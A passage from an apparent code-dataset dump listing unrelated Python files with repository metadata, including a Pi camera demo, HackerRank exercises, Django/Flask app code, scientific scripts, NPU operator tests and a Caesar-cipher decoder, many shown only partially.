] | null | null | null | rasp/_et/demo.py | alffore/lokroids-python | ac3bbc328140e53ab181034d2e3d5d5d17dc9203 | [
"MIT"
] | null | null | null | import picamera
from time import sleep
camera = picamera.PiCamera()
camera.vflip = True
camera.hflip = True
camera.capture('image1.jpg')
sleep(5)
camera.capture('image2.jpg')
| 12.066667 | 28 | 0.745856 |
2122f2716bed55087ddad8d9b42d21468f028800 | 214 | py | Python | HackerRank/HackerRank-Python/Introduction/Python: Division.py | tareqmahmud/Competitive-Programming | ad5e53300d70280bccbd5046ca01278fb246f314 | [
"MIT"
] | 2 | 2020-11-19T19:03:28.000Z | 2021-01-04T19:52:11.000Z | HackerRank-Python/Introduction/Python: Division.py | tareqmahmud/HackerRank | e1b9facab6582f86ea6cc63afcc640e66ba3f67e | [
"MIT"
] | null | null | null | HackerRank-Python/Introduction/Python: Division.py | tareqmahmud/HackerRank | e1b9facab6582f86ea6cc63afcc640e66ba3f67e | [
"MIT"
] | null | null | null | if __name__ == "__main__":
number1 = int(input())
number2 = int(input())
# Integer division of two number
print(number1 // number2)
# Float division of two number
print(number1 / number2)
| 21.4 | 36 | 0.635514 |
dcc3bb9404f14f8fa1fe9e4d582d7ba374c2f9b4 | 2,140 | py | Python | lbry/lbry/wallet/server/daemon.py | mittalkartik2000/lbry-sdk | a07b17ec0c9c5d0a88bc730caf6ab955e0971b38 | [
"MIT"
] | null | null | null | lbry/lbry/wallet/server/daemon.py | mittalkartik2000/lbry-sdk | a07b17ec0c9c5d0a88bc730caf6ab955e0971b38 | [
"MIT"
] | 4 | 2020-10-27T21:53:05.000Z | 2022-02-11T03:10:54.000Z | lbry/lbry/wallet/server/daemon.py | braveheart12/lbry-sdk | dc709b468f9dce60d206161785def5c7ace2b763 | [
"MIT"
] | null | null | null | from functools import wraps
from torba.rpc.jsonrpc import RPCError
from torba.server.daemon import Daemon, DaemonError
def handles_errors(decorated_function):
@wraps(decorated_function)
async def wrapper(*args, **kwargs):
try:
return await decorated_function(*args, **kwargs)
excep... | 38.214286 | 102 | 0.692056 |
0d1bc1312821c4dc9c180d27808236dab4aa339d | 8,025 | py | Python | 20-fs-ias-lec/groups/09-loraSense/LoRaSense/lib/lorasense.py | Kyrus1999/BACnet | 5be8e1377252166041bcd0b066cce5b92b077d06 | [
"MIT"
] | 8 | 2020-03-17T21:12:18.000Z | 2021-12-12T15:55:54.000Z | 20-fs-ias-lec/groups/09-loraSense/LoRaSense/lib/lorasense.py | Kyrus1999/BACnet | 5be8e1377252166041bcd0b066cce5b92b077d06 | [
"MIT"
] | 2 | 2021-07-19T06:18:43.000Z | 2022-02-10T12:17:58.000Z | 20-fs-ias-lec/groups/09-loraSense/LoRaSense/lib/lorasense.py | Kyrus1999/BACnet | 5be8e1377252166041bcd0b066cce5b92b077d06 | [
"MIT"
] | 25 | 2020-03-20T09:32:45.000Z | 2021-07-18T18:12:59.000Z | from machine import I2C, ADC, RTC
import bme280 as bme280
import time
import socket
from network import LoRa, WLAN
import select
import sys
import _thread
class LoraSense:
"""
Class object that receives optional pin arguments for the SDA-pin (Serial Data), the SCL-pin (Serial Clock) and the
pin f... | 37.5 | 123 | 0.546044 |
0d4840ed412bd551ff48aa2d9d9d75dbe65fd33b | 7,882 | py | Python | backend/api/btb/api/schema/mutations/contact.py | prototypefund/project-c | a87a49d7c1317b1e3ec03ddd0ce146ad0391b5d2 | [
"MIT"
] | 4 | 2020-04-30T16:11:24.000Z | 2020-06-02T10:08:07.000Z | backend/api/btb/api/schema/mutations/contact.py | prototypefund/project-c | a87a49d7c1317b1e3ec03ddd0ce146ad0391b5d2 | [
"MIT"
] | 291 | 2020-04-20T13:11:13.000Z | 2022-02-10T21:54:46.000Z | backend/api/btb/api/schema/mutations/contact.py | prototypefund/project-c | a87a49d7c1317b1e3ec03ddd0ce146ad0391b5d2 | [
"MIT"
] | 2 | 2020-04-19T14:56:01.000Z | 2020-04-19T18:09:34.000Z | import graphene
from btb.api.schema.types import Company, JSONScalar
from btb.api.models import db
from sqlalchemy.dialects.postgresql import insert
from sqlalchemy import text
from flask import g, current_app
import boto3
import json
from os import environ
from btb.templates import match_template, send_email
from btb.... | 28.049822 | 155 | 0.581451 |
2ed78c6b0240ba95b5c690deaf01e20d9866f9d3 | 1,941 | py | Python | tasks/models.py | eliasgruenewald/Frudo | 4fec4dbc29231d3da67481e3775cecc41af507bc | [
"MIT"
] | null | null | null | tasks/models.py | eliasgruenewald/Frudo | 4fec4dbc29231d3da67481e3775cecc41af507bc | [
"MIT"
] | null | null | null | tasks/models.py | eliasgruenewald/Frudo | 4fec4dbc29231d3da67481e3775cecc41af507bc | [
"MIT"
] | null | null | null | from django.db import models
from django import forms
from django.contrib.auth.models import User
from django.core.validators import MaxValueValidator, MinValueValidator
class Label(models.Model):
label_text = models.CharField(max_length=32)
label_description = models.CharField(max_length=129, blank=True, defa... | 35.944444 | 121 | 0.739825 |
2ef86badc752f45abe3044aa70c1b8dd2b67a948 | 7,298 | py | Python | task_1/similarity/event_similarity_nouns_only.py | strumswell/sentiment-apple-events | b6f4f7799374aba757874f5426b3a2c1bf7d29b5 | [
"MIT"
] | 1 | 2022-02-28T22:02:50.000Z | 2022-02-28T22:02:50.000Z | task_1/similarity/event_similarity_nouns_only.py | strumswell/sentiment-apple-events | b6f4f7799374aba757874f5426b3a2c1bf7d29b5 | [
"MIT"
] | null | null | null | task_1/similarity/event_similarity_nouns_only.py | strumswell/sentiment-apple-events | b6f4f7799374aba757874f5426b3a2c1bf7d29b5 | [
"MIT"
] | null | null | null | # %% Import
import nltk
import pandas as pd
import re
from nltk.stem.snowball import SnowballStemmer
from sklearn.feature_extraction.text import TfidfVectorizer
# %% Import Documents
events = ['2020_Nov_Post', '2020_Nov', '2020_Nov_Pre', '2020_Oct_Post', '2020_Oct', '2020_Oct_Pre', '2020_Sept_Post', '2020_Sept', '20... | 38.819149 | 463 | 0.705536 |
25aebedd7e29d7efcfe66cff5f4a5146246478ec | 1,945 | py | Python | TreeModelLib/GrowthAndDeathDynamics/Mortality/Random/Random.py | mcwimm/pyMANGA | 6c7b53087e53b116bb02f91c33974f3dfd9a46de | [
"MIT"
] | 1 | 2021-03-16T08:35:50.000Z | 2021-03-16T08:35:50.000Z | TreeModelLib/GrowthAndDeathDynamics/Mortality/Random/Random.py | mcwimm/pyMANGA | 6c7b53087e53b116bb02f91c33974f3dfd9a46de | [
"MIT"
] | 67 | 2019-11-14T11:29:52.000Z | 2022-03-09T14:37:11.000Z | TreeModelLib/GrowthAndDeathDynamics/Mortality/Random/Random.py | mcwimm/pyMANGA | 6c7b53087e53b116bb02f91c33974f3dfd9a46de | [
"MIT"
] | 6 | 2019-11-12T11:11:41.000Z | 2021-08-12T13:57:22.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@date: 2021-Today
@author: marie-christin.wimmler@tu-dresden.de
"""
import numpy as np
from TreeModelLib.GrowthAndDeathDynamics.Mortality.NoGrowth import NoGrowth
class Random(NoGrowth):
def __init__(self, args, case):
super().__init__(args, case)
... | 33.534483 | 79 | 0.559897 |
d392ab300b6363f11d607da50789fd5ac13ab4b4 | 1,267 | py | Python | src/lcdoc/mkdocs/lp/plugs/python/pyplugs/call_flow_logging/svg.py | axiros/docutools | f99874a64afba8f5bc740049d843151ccd9ceaf7 | [
"BSD-2-Clause"
] | 24 | 2021-10-04T22:11:59.000Z | 2022-02-02T21:51:43.000Z | src/lcdoc/mkdocs/lp/plugs/python/pyplugs/call_flow_logging/svg.py | axiros/docutools | f99874a64afba8f5bc740049d843151ccd9ceaf7 | [
"BSD-2-Clause"
] | 2 | 2021-10-04T21:51:30.000Z | 2021-10-05T14:15:31.000Z | src/lcdoc/mkdocs/lp/plugs/python/pyplugs/call_flow_logging/svg.py | axiros/docutools | f99874a64afba8f5bc740049d843151ccd9ceaf7 | [
"BSD-2-Clause"
] | null | null | null | import os
import time
from lcdoc.mkdocs.lp.plugs import python
from lcdoc.tools import exists
config, page, Session, stats = (python.config, python.page, python.Session, python.stats)
project = python.project
app = python.app
now = time.time
def embed_svgs(output, page, config, **kw):
"""post page hook
Dur... | 28.795455 | 89 | 0.5588 |
4c82a1d7da964d5c08e8baa88fc7a1dce739f23d | 9,224 | py | Python | Co-Simulation/Sumo/sumo-1.7.0/tools/route/route2poly.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 4 | 2020-11-13T02:35:56.000Z | 2021-03-29T20:15:54.000Z | Co-Simulation/Sumo/sumo-1.7.0/tools/route/route2poly.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 9 | 2020-12-09T02:12:39.000Z | 2021-02-18T00:15:28.000Z | Co-Simulation/Sumo/sumo-1.7.0/tools/route/route2poly.py | uruzahe/carla | 940c2ab23cce1eda1ef66de35f66b42d40865fb1 | [
"MIT"
] | 1 | 2020-11-20T19:31:26.000Z | 2020-11-20T19:31:26.000Z | #!/usr/bin/env python
# Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo
# Copyright (C) 2012-2020 German Aerospace Center (DLR) and others.
# This program and the accompanying materials are made available under the
# terms of the Eclipse Public License 2.0 which is available at
# https://www.ec... | 38.594142 | 118 | 0.585212 |
2c594744950d0a006c957643e01de9bddb1b4299 | 107 | py | Python | fabfile.py | shonenada-archives/dewar | 392b996771a35bc26e9c301cc2a25bad973e8f61 | [
"MIT"
] | null | null | null | fabfile.py | shonenada-archives/dewar | 392b996771a35bc26e9c301cc2a25bad973e8f61 | [
"MIT"
] | null | null | null | fabfile.py | shonenada-archives/dewar | 392b996771a35bc26e9c301cc2a25bad973e8f61 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
from fabric.api import task, local
@task
def server():
local('honcho start')
| 13.375 | 34 | 0.626168 |
2c7e94bafd7951cc899dc0e802d6822952c319d4 | 1,955 | py | Python | test_protocol/test_megaface.py | weihaoxie/FaceX-Zoo | db0b087e4f4d28152e172d6c8d3767a8870733b4 | [
"Apache-2.0"
] | 1,329 | 2021-01-13T07:06:30.000Z | 2022-03-31T07:23:39.000Z | test_protocol/test_megaface.py | weihaoxie/FaceX-Zoo | db0b087e4f4d28152e172d6c8d3767a8870733b4 | [
"Apache-2.0"
] | 115 | 2021-01-13T10:42:57.000Z | 2022-03-28T03:57:52.000Z | test_protocol/test_megaface.py | weihaoxie/FaceX-Zoo | db0b087e4f4d28152e172d6c8d3767a8870733b4 | [
"Apache-2.0"
] | 351 | 2021-01-13T07:21:00.000Z | 2022-03-29T14:11:39.000Z | """
@author: Jun Wang
@date: 20201012
@contact: jun21wangustc@gmail.com
"""
import argparse
import yaml
from megaface.megaface_evaluator import CommonMegaFaceEvaluator
from megaface.megaface_evaluator import MaskedMegaFaceEvaluator
if __name__ == '__main__':
conf = argparse.ArgumentParser(description='megaface... | 44.431818 | 85 | 0.664962 |
20796a7243ef1ffe3c1d6f3483cad61ef5687d89 | 2,240 | py | Python | least_squares_non_linear.py | patcher1/numerik | ad24c8522d61970a3a881e034a7940d43ba486be | [
"BSD-3-Clause"
] | null | null | null | least_squares_non_linear.py | patcher1/numerik | ad24c8522d61970a3a881e034a7940d43ba486be | [
"BSD-3-Clause"
] | null | null | null | least_squares_non_linear.py | patcher1/numerik | ad24c8522d61970a3a881e034a7940d43ba486be | [
"BSD-3-Clause"
] | 1 | 2019-10-01T14:36:03.000Z | 2019-10-01T14:36:03.000Z | import numpy as np
import numpy.linalg as linalg
import scipy.linalg
import matplotlib.pyplot as plt
from least_squares_linear import minimize_ata, minimize_qr, minimize_svd
from zero_of_a_function import newton
def solve_with_newton(xk, grad, hess, tol=10**-14, maxit=10000):
'''
Find the minimum of the residu... | 44.8 | 154 | 0.664732 |
ff3fd4a8635bd6c2764b8123f49b7404abe06513 | 2,370 | py | Python | http/piface_http_vorlage.py | wichmann/RaspPI | 168609cb237e59a4c895eae798c0dab052aab38b | [
"MIT"
] | null | null | null | http/piface_http_vorlage.py | wichmann/RaspPI | 168609cb237e59a4c895eae798c0dab052aab38b | [
"MIT"
] | null | null | null | http/piface_http_vorlage.py | wichmann/RaspPI | 168609cb237e59a4c895eae798c0dab052aab38b | [
"MIT"
] | null | null | null | #! /usr/bin/env python3
# Notwendige Bibliothek installieren:
# sudo apt install python3-flask
# oder
# pip3 install flask
from flask import Flask
from flask import request
# initialisiere Flask server
app = Flask(__name__)
# HTML-Formular
formular = """
<html>
<body>
<h1>P... | 36.461538 | 110 | 0.601266 |
ff5c71635d08433a0f1cb7341280bdfa97b1f619 | 206 | py | Python | my_tools/__init__.py | FelixLukk/netease_music_cat | 97f4487e74e09661a1dd46b7b00c01845311436b | [
"MIT"
] | 2 | 2020-02-20T18:05:45.000Z | 2020-02-22T06:40:52.000Z | my_tools/__init__.py | FelixLukk/netease_music_cat | 97f4487e74e09661a1dd46b7b00c01845311436b | [
"MIT"
] | 1 | 2021-06-01T23:45:58.000Z | 2021-06-01T23:45:58.000Z | data_acquire_store/my_tools/__init__.py | PatrickNgZh/RecommenderSystem | 0dbd3ac05ca8c1b5948a2605f1a9407f1ec59d39 | [
"Apache-2.0"
] | 1 | 2020-03-17T09:17:18.000Z | 2020-03-17T09:17:18.000Z | # !/usr/bin/env python
# -*- coding: utf-8 -*-
# author: humingk
# ----------------------
from .database_tool import database_tool
from .logger_tool import loggler_tool
from .thread_pool import thread_pool | 25.75 | 40 | 0.674757 |
442eba7e141be1b91b7e3769dc22a378391fcdc2 | 6,404 | py | Python | src/main/python/server/site.py | eecevit-tgm/sew_crud | 6e95929639ec83cc540a3d959d4ac68996bff300 | [
"MIT"
] | null | null | null | src/main/python/server/site.py | eecevit-tgm/sew_crud | 6e95929639ec83cc540a3d959d4ac68996bff300 | [
"MIT"
] | null | null | null | src/main/python/server/site.py | eecevit-tgm/sew_crud | 6e95929639ec83cc540a3d959d4ac68996bff300 | [
"MIT"
] | null | null | null | """
.. module:: site
:synopsis: Restful User-Service outgoing point
.. moduleauthor:: Ecevit Emre Okan <github.com/eecevit-tgm>
"""
from flask import Flask,jsonify
from flask_cors import CORS
from flask_restful import reqparse, abort, Api, Resource
# import jreader
app = Flask(__name__)
api = Api(app)
# data = ... | 27.484979 | 124 | 0.561368 |
924eef593b5cd79ffb64812a5d0836da31b72531 | 729 | py | Python | data-pipeline/src/data_pipeline/pipelines/gnomad_v3_coverage.py | broadinstitute/gnomadjs | 00da72cdc2cb0753f822c51456ec15147c024a1d | [
"MIT"
] | 38 | 2018-02-24T02:33:52.000Z | 2020-03-03T23:17:04.000Z | data-pipeline/src/data_pipeline/pipelines/gnomad_v3_coverage.py | broadinstitute/gnomadjs | 00da72cdc2cb0753f822c51456ec15147c024a1d | [
"MIT"
] | 385 | 2018-02-21T16:53:13.000Z | 2020-03-04T00:52:40.000Z | data-pipeline/src/data_pipeline/pipelines/gnomad_v3_coverage.py | broadinstitute/gnomadjs | 00da72cdc2cb0753f822c51456ec15147c024a1d | [
"MIT"
] | 13 | 2020-05-01T13:03:54.000Z | 2022-02-28T13:12:57.000Z | from data_pipeline.pipeline import Pipeline, run_pipeline
from data_pipeline.data_types.coverage import prepare_coverage
pipeline = Pipeline()
pipeline.add_task(
"prepare_gnomad_v3_coverage",
prepare_coverage,
"/gnomad_v3/gnomad_v3_genome_coverage.ht",
{"coverage_path": "gs://gcp-public-data--gnomad... | 27 | 119 | 0.565158 |
a6cce69b38f17f0bd9870e7437b4e724b692e86c | 7,414 | py | Python | src/onegov/core/orm/cache.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/core/orm/cache.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/core/orm/cache.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | """ Provides a simple and mostly transparent way of defining orm-cached
properties on the application class.
For example::
from onegov.core import Framework
from onegov.core.orm import orm_cached
class App(Framework):
@orm_cached(policy='on-table-change:users')
def users(self):
... | 31.683761 | 79 | 0.62908 |
1b0d3434526ae95e1ef60e752ceeb357b149658c | 18,813 | py | Python | src/onegov/org/forms/directory.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/org/forms/directory.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/org/forms/directory.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from cached_property import cached_property
from colour import Color
from onegov.core.utils import safe_format_keys
from onegov.directory import DirectoryConfiguration
from onegov.directory import DirectoryZipArchive
from onegov.form import as_internal_id
from onegov.form import flatten_fieldsets
from onegov.form impor... | 31.618487 | 79 | 0.592675 |
947e71cd7442c5e2fc04a203a0d6e59ecf9573b3 | 775 | py | Python | misc/test.py | YoshimitsuMatsutaIe/hoge_flow_test | 22e2e2ce043a3107bd06449f6f9958641293e414 | [
"MIT"
] | null | null | null | misc/test.py | YoshimitsuMatsutaIe/hoge_flow_test | 22e2e2ce043a3107bd06449f6f9958641293e414 | [
"MIT"
] | null | null | null | misc/test.py | YoshimitsuMatsutaIe/hoge_flow_test | 22e2e2ce043a3107bd06449f6f9958641293e414 | [
"MIT"
] | null | null | null |
# import numpy as np
# import time
# a11, a12, a21, a22 = 1, 2, 3, 4
# b11, b12, b21, b22 = 5, 6, 7, 8
# A = np.array([[a11, a12], [a21, a22]])
# B = np.array([[b11, b12], [b21, b22]])
# start = time.time()
# for i in range(10000):
# ans = A + B
# print("1は", time.time() - start)
# start = time.time()
# for... | 15.5 | 62 | 0.52 |
ca535b81e5eb7f933997de416cf479e8c9ac6009 | 4,320 | py | Python | DataTransmitter.py | manpreet-singh/DataCollectionPackage | 996546b9062c969c2af3a60b35445077f70641c2 | [
"MIT"
] | null | null | null | DataTransmitter.py | manpreet-singh/DataCollectionPackage | 996546b9062c969c2af3a60b35445077f70641c2 | [
"MIT"
] | null | null | null | DataTransmitter.py | manpreet-singh/DataCollectionPackage | 996546b9062c969c2af3a60b35445077f70641c2 | [
"MIT"
] | null | null | null | import logging
import sys
import signal
import time
import os
from networktables import NetworkTables
import csv
from Adafruit_BNO055 import BNO055
import RPi.GPIO as GPIO
NetworkTables.initialize()
nt = NetworkTables.getTable("IMU_Data")
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
GPIO.setup(17, GPIO.OUT)
GPI... | 30.857143 | 114 | 0.670139 |
61207e502c5dae5dc493cd274693a5e811c657a5 | 145 | py | Python | wagtailextraicons/apps.py | octdanb/wagtailextraicons | 51a9bf500b6f417d48bb59fd4d2518abe11caa55 | [
"BSD-3-Clause"
] | 8 | 2019-12-23T09:14:21.000Z | 2022-03-06T22:13:24.000Z | wagtailextraicons/apps.py | octdanb/wagtailextraicons | 51a9bf500b6f417d48bb59fd4d2518abe11caa55 | [
"BSD-3-Clause"
] | 5 | 2019-12-19T00:24:00.000Z | 2022-03-15T21:58:13.000Z | wagtailextraicons/apps.py | octdanb/wagtailextraicons | 51a9bf500b6f417d48bb59fd4d2518abe11caa55 | [
"BSD-3-Clause"
] | 4 | 2020-05-15T10:30:18.000Z | 2022-03-22T05:50:49.000Z | from django.apps import AppConfig
class WagtailExtraIconsConfig(AppConfig):
name = 'wagtailextraicons'
def ready(self):
pass
| 14.5 | 41 | 0.710345 |
fcd1749abbacf6a4818e10b1cd3c309f1d9d83d8 | 9,902 | py | Python | test/test_npu/test_network_ops/test_index_add.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | 1 | 2021-12-02T03:07:35.000Z | 2021-12-02T03:07:35.000Z | test/test_npu/test_network_ops/test_index_add.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | 1 | 2021-11-12T07:23:03.000Z | 2021-11-12T08:28:13.000Z | test/test_npu/test_network_ops/test_index_add.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) 2020, Huawei Technologies.All rights reserved.
#
# Licensed under the BSD 3-Clause License (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://opensource.org/licenses/BSD-3-Clause
#
# Unless required by applicable law... | 56.582857 | 118 | 0.53474 |
1e2c9df874434f4591c46938f278890933a7ce4e | 191 | py | Python | area.py | mayur200/hacktoberfest2021 | 5f141fe6dc90916d65bef17a66f0db05649c41ef | [
"MIT"
] | null | null | null | area.py | mayur200/hacktoberfest2021 | 5f141fe6dc90916d65bef17a66f0db05649c41ef | [
"MIT"
] | null | null | null | area.py | mayur200/hacktoberfest2021 | 5f141fe6dc90916d65bef17a66f0db05649c41ef | [
"MIT"
] | null | null | null | # Python program to find Area of a circle
def findArea(r):
PI = 3.142
return PI * (r*r);
# Driver method
print("Area is %.6f" % findArea(5));
# This code is contributed by Chinmoy Lenka
| 17.363636 | 43 | 0.675393 |
783ef964a9a6934c0f87b96c25ba3953e78b6691 | 126 | py | Python | src/mycms/apps.py | daimon99/santicms | 9b113b806cb43e94084ea474ba0aab51b32f9b3c | [
"MIT"
] | null | null | null | src/mycms/apps.py | daimon99/santicms | 9b113b806cb43e94084ea474ba0aab51b32f9b3c | [
"MIT"
] | null | null | null | src/mycms/apps.py | daimon99/santicms | 9b113b806cb43e94084ea474ba0aab51b32f9b3c | [
"MIT"
] | null | null | null | from __future__ import unicode_literals
from django.apps import AppConfig
class MycmsConfig(AppConfig):
name = 'mycms'
| 15.75 | 39 | 0.785714 |
179c2a18cbdfae146fa9bb9663c273e4e8280698 | 11,235 | py | Python | official_examples/Using_Spark_MLlib_to_Create_a_Car_Evaluation_Application/code/knn_classification.py | hellfire0831/ModelArts-Lab | 3e826a5b388244c0588b7bb916184750997ab272 | [
"Apache-2.0"
] | 3 | 2019-06-19T06:55:50.000Z | 2020-07-09T10:05:29.000Z | official_examples/Using_Spark_MLlib_to_Create_a_Car_Evaluation_Application/code/knn_classification.py | hellfire0831/ModelArts-Lab | 3e826a5b388244c0588b7bb916184750997ab272 | [
"Apache-2.0"
] | 2 | 2019-08-18T01:54:50.000Z | 2019-09-22T06:51:40.000Z | official_examples/Using_Spark_MLlib_to_Create_a_Car_Evaluation_Application/code/knn_classification.py | hellfire0831/ModelArts-Lab | 3e826a5b388244c0588b7bb916184750997ab272 | [
"Apache-2.0"
] | 3 | 2019-09-17T06:35:08.000Z | 2019-09-21T04:38:58.000Z | # -*- coding:utf-8 -*-
import collections
import json
import os
from collections import OrderedDict
from shutil import rmtree
from modelarts_pyspark import KNNClassification
from modelarts_pyspark.common import MeasurementType, Role, DataType, DfUtils, Meta, Attributes
from obs import ObsClient
from pyspark.ml.evalua... | 37.325581 | 517 | 0.701113 |
17a4a4725bbdc1b540ba2d455b4fc82fc89d4241 | 2,574 | py | Python | spo/spo/doctype/anforderung_patientendossier/anforderung_patientendossier.py | libracore/spo | c6617a4624d683e27ee3fde745313c30504f3fd1 | [
"MIT"
] | null | null | null | spo/spo/doctype/anforderung_patientendossier/anforderung_patientendossier.py | libracore/spo | c6617a4624d683e27ee3fde745313c30504f3fd1 | [
"MIT"
] | 6 | 2019-08-23T18:36:26.000Z | 2019-11-12T13:12:12.000Z | spo/spo/doctype/anforderung_patientendossier/anforderung_patientendossier.py | libracore/spo | efff6da53a776c4483f06d9ef1acc8a7aa96b28e | [
"MIT"
] | 1 | 2021-08-14T22:22:43.000Z | 2021-08-14T22:22:43.000Z | # -*- coding: utf-8 -*-
# Copyright (c) 2019, libracore and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe
from frappe.model.document import Document
from frappe.utils.data import formatdate
class AnforderungPatientendossier(Document):
pass
@f... | 34.32 | 81 | 0.609946 |
e5cda5e895ee14d1ca3e58eed5f3e63d0523af80 | 1,835 | py | Python | data-pipeline/src/data_pipeline/data_types/gtex_tissue_expression.py | broadinstitute/gnomadjs | 00da72cdc2cb0753f822c51456ec15147c024a1d | [
"MIT"
] | 38 | 2018-02-24T02:33:52.000Z | 2020-03-03T23:17:04.000Z | data-pipeline/src/data_pipeline/data_types/gtex_tissue_expression.py | broadinstitute/gnomadjs | 00da72cdc2cb0753f822c51456ec15147c024a1d | [
"MIT"
] | 385 | 2018-02-21T16:53:13.000Z | 2020-03-04T00:52:40.000Z | data-pipeline/src/data_pipeline/data_types/gtex_tissue_expression.py | broadinstitute/gnomadjs | 00da72cdc2cb0753f822c51456ec15147c024a1d | [
"MIT"
] | 13 | 2020-05-01T13:03:54.000Z | 2022-02-28T13:12:57.000Z | import re
import hail as hl
def format_tissue_name(tissue_name):
return re.sub(r"[-\(\)_ ]+", "_", tissue_name).rstrip("_").lower()
def prepare_gtex_expression_data(transcript_tpms_path, sample_annotations_path, tmp_path):
# Recompress tpms file with block gzip so that import_matrix_table will read the fil... | 39.042553 | 114 | 0.697548 |
da9e43b456d0538a16a62a8bf4361c4b75eb8f73 | 2,190 | py | Python | elements/python/11/5/median.py | mmcloughlin/problems | 6095842ffe007a12ec8c2093850515aa4e046616 | [
"MIT"
] | 11 | 2019-02-08T06:54:34.000Z | 2021-08-07T18:57:39.000Z | elements/python/11/5/median.py | mmcloughlin/problems | 6095842ffe007a12ec8c2093850515aa4e046616 | [
"MIT"
] | 1 | 2019-05-21T08:14:10.000Z | 2019-05-21T08:14:10.000Z | elements/python/11/5/median.py | mmcloughlin/problems | 6095842ffe007a12ec8c2093850515aa4e046616 | [
"MIT"
] | null | null | null | import heapq
class Streaming(object):
"""
Streaming provdes capaility to build up a set of numbers one-by-one,
and is always able to return the current median.
The implementation maintains two heaps for the bottom and top halfs of the
dataset.
"""
def __init__(self):
# max heap f... | 27.037037 | 78 | 0.550228 |
97c8c92db500d54f54a5d5b4eb5d0bad45258f11 | 18,477 | py | Python | publ/view.py | PlaidWeb/Publ | 67efc5e32bf25dbac72a83d1167de038b79db5a7 | [
"MIT"
] | 27 | 2018-11-30T21:32:26.000Z | 2022-03-20T19:46:25.000Z | publ/view.py | PlaidWeb/Publ | 67efc5e32bf25dbac72a83d1167de038b79db5a7 | [
"MIT"
] | 249 | 2018-09-30T07:04:37.000Z | 2022-03-29T04:31:00.000Z | publ/view.py | PlaidWeb/Publ | 67efc5e32bf25dbac72a83d1167de038b79db5a7 | [
"MIT"
] | 4 | 2019-03-01T06:46:13.000Z | 2019-06-30T17:45:46.000Z | # view.py
""" A view of entries """
import logging
import typing
import arrow
import flask
from werkzeug.utils import cached_property
from . import caching, queries, tokens, user, utils
from .entry import Entry
ViewSpec = typing.Dict[str, typing.Any] # pylint:disable=invalid-name
LOGGER = logging.getLogger(__name... | 35.26145 | 98 | 0.552849 |
c1b7b199fc4b07c9adde52c3ba9d7f070258a1ec | 1,401 | py | Python | exercises/pt/test_03_15.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 2,085 | 2019-04-17T13:10:40.000Z | 2022-03-30T21:51:46.000Z | exercises/pt/test_03_15.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 79 | 2019-04-18T14:42:55.000Z | 2022-03-07T08:15:43.000Z | exercises/pt/test_03_15.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 361 | 2019-04-17T13:34:32.000Z | 2022-03-28T04:42:45.000Z | def test():
assert Doc.has_extension(
"author"
), "Você definiu a propriedade extendida author no Doc?"
ext = Doc.get_extension("author")
assert all(
v is None for v in ext
), "Você definiu um valor padrão para a propriedade extendida author?"
assert Doc.has_extension("book"), "o... | 45.193548 | 98 | 0.673091 |
a9b0c01eadd0f0cb46d01d581d305e5c0d650594 | 352 | py | Python | 055-call-from-space/main.py | hello-arun/Python-Tutorial | aec3978f414e48d762a5fbc5cce581163c1f5f1e | [
"MIT"
] | null | null | null | 055-call-from-space/main.py | hello-arun/Python-Tutorial | aec3978f414e48d762a5fbc5cce581163c1f5f1e | [
"MIT"
] | null | null | null | 055-call-from-space/main.py | hello-arun/Python-Tutorial | aec3978f414e48d762a5fbc5cce581163c1f5f1e | [
"MIT"
] | null | null | null | signal="RZ VMZ WMDIBDIB VGG AJMXZN OJ EJDI RDOC XGZJKVOMV OJ YZAZVO OCZ ZIZHT LPZZI VO OCZ IDGZ YZGOV"
signal=signal.lower()
shift = 1
for shift in range(0,26):
print(shift)
for letter in signal:
if (letter != " "):
print(chr(97+(ord(letter)+shift-97)%26),end="")
else:
pr... | 29.333333 | 102 | 0.599432 |
d45f69874091c6fe54c3d5aa9c1557c34548b31d | 2,397 | py | Python | oauth/get_access_token.py | weberval/SocialBot | f45e16c28fe2a1283b09b1f5c7b6334ef03f9a7b | [
"MIT"
] | 2 | 2018-04-07T14:56:12.000Z | 2020-03-26T12:06:51.000Z | oauth/get_access_token.py | weberval/SocialBot | f45e16c28fe2a1283b09b1f5c7b6334ef03f9a7b | [
"MIT"
] | 2 | 2018-04-07T14:55:31.000Z | 2018-04-25T07:43:29.000Z | oauth/get_access_token.py | weberval/SocialBot | f45e16c28fe2a1283b09b1f5c7b6334ef03f9a7b | [
"MIT"
] | 2 | 2019-09-06T22:31:43.000Z | 2020-03-26T12:06:51.000Z | from requests_oauthlib import OAuth1Session
import webbrowser
